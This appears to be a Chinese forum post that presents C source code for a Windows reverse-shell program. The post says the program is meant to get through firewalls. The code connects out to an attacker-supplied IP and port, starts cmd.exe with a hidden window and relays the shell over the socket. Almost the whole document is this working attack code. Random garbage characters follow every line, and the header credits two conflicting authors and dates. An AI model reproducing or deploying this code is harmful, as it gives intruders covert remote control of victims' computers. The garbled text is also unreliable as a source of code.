这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 |Zn;O6c#L5
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/* ============================== GZ<@#~1%\
Rebound port in Windows NT p-"wY?q
By wind,2006/7 "r;cH5 3
===============================*/ E_30)"]
#include A##Q>|>)
#include Dd0yQgCu
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#pragma comment(lib,"wsock32.lib") nzxHd7NIZ
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void OutputShell(); M`#g>~bI#R
SOCKET sClient; kLs{B
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ~eTp( XG
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void main(int argc,char **argv) ;[lLFI
{ >g+Y//Z
WSADATA stWsaData; ej7N5~!,s
int nRet; 6}@T^?
SOCKADDR_IN stSaiClient,stSaiServer; UCmJQJc
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if(argc != 3) aA*h *
{ XmO]^ `
printf("Useage:\n\rRebound DestIP DestPort\n"); ,F!-17_vt
return; )jwovS?V
} f7 ew<c\
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WSAStartup(MAKEWORD(2,2),&stWsaData); U4a8z<l$
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); MC-Z6l2
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stSaiClient.sin_family = AF_INET; 5y='1s[%
stSaiClient.sin_port = htons(0); y]i}j,e0L
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); u<n['Ur}|
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [vBP,_Tjx
{ tOF8v8Hd
printf("Bind Socket Failed!\n"); kSJ;kz,_
return; ?TDmW8G}J
} O d6'bO;G
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stSaiServer.sin_family = AF_INET; U/HF6=Wot
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); vGH]7jht
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ELG{xN=o
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) m-[xrVV
{ 6P9#6mZ
printf("Connect Error!"); [$>@f{:
return; ,DWq
} Rc@lGq9
OutputShell(); Z@JTZMN_
} %"E!E1_Sv
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void OutputShell() :[PA .Upi
{ hOqNZ66{
char szBuff[1024]; -e51/lhpd
SECURITY_ATTRIBUTES stSecurityAttributes; >_\]c-~<
OSVERSIONINFO stOsversionInfo; DDT]A<WUV
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; lS2`#l >
STARTUPINFO stStartupInfo; `LwZ(M-hI
char *szShell; %0u5d$b q
PROCESS_INFORMATION stProcessInformation; bLggh]Fh
unsigned long lBytesRead; Mu" vj*F
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _s=<Y^l%x
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); |e+r~).4B
stSecurityAttributes.lpSecurityDescriptor = 0; T/%k1Hsa4H
stSecurityAttributes.bInheritHandle = TRUE; kDiR2K&
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *xeJ4h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]G!
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); z`J-J*R>d
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A6;[r #C
stStartupInfo.wShowWindow = SW_HIDE; ]3U|K .G
stStartupInfo.hStdInput = hReadPipe; /HSg)
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; DfOigLG*
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GetVersionEx(&stOsversionInfo); Qc
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switch(stOsversionInfo.dwPlatformId) : T4ap_Ycq
{ p8CaD4bE
case 1: 3=Xvl 58k
szShell = "command.com"; xnZ
break; EL
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default: MA 6uJT
szShell = "cmd.exe"; {!4ZRNy(k
break; t/]za4w/
} Z 2uU'T
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); Yk7^?W
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send(sClient,szMsg,77,0); JS >"j d#
while(1) ~W gO{@Mw
{ 4tt=u]:
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 4
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if(lBytesRead) 1x0)mt3
{ ;UQ&yj%x
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); '
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send(sClient,szBuff,lBytesRead,0); T !pHT'J
} 1(VskFtZF
else z)&&Ym#
{ ]V"B`ip[2
lBytesRead=recv(sClient,szBuff,1024,0); U`4t4CHA
if(lBytesRead<=0) break; Bo*Wm
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); *u34~v16,
} 4Gh%PUV#
} !NhVPb,
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return; 2$ \#BG
}